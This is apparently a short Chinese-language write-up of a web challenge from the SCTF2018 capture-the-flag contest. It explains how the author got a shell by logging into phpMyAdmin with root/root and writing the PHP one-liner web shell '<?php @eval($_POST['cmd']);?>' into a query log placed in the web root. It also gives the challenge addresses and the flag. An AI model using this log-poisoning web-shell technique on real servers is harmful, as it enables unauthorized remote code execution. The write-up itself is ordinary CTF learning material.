Writeup | SCTF2018 |CTF 比赛 |By Jas502n

__________WEB_____________

0x01 easiest web – phpMyAdmin

Ps: 思路弱口令(root / root)登陆phpmyadmin,利用日志功能进行getshell

送分题,轻松一下

http://47.97.214.247:20001/phpmyadmin

Alternate address:

http://218.245.4.98:20000/phpmyadmin

开启日志,写入一句话

查询sql语句

<?php @eval($_POST['cmd']);?>

日志写入到网站路径下的dasdasdas.php文件

然后就getshell

http://218.245.4.98:20000/dasdasdad.php

密码:cmd

菜刀连接

在C盘发现flag

sctf{31cf2213cc49605a30f07395d6e5b9c4}

0x02  新的建议板

猜你喜欢

转载自www.cnblogs.com/Jas502n/p/9228589.html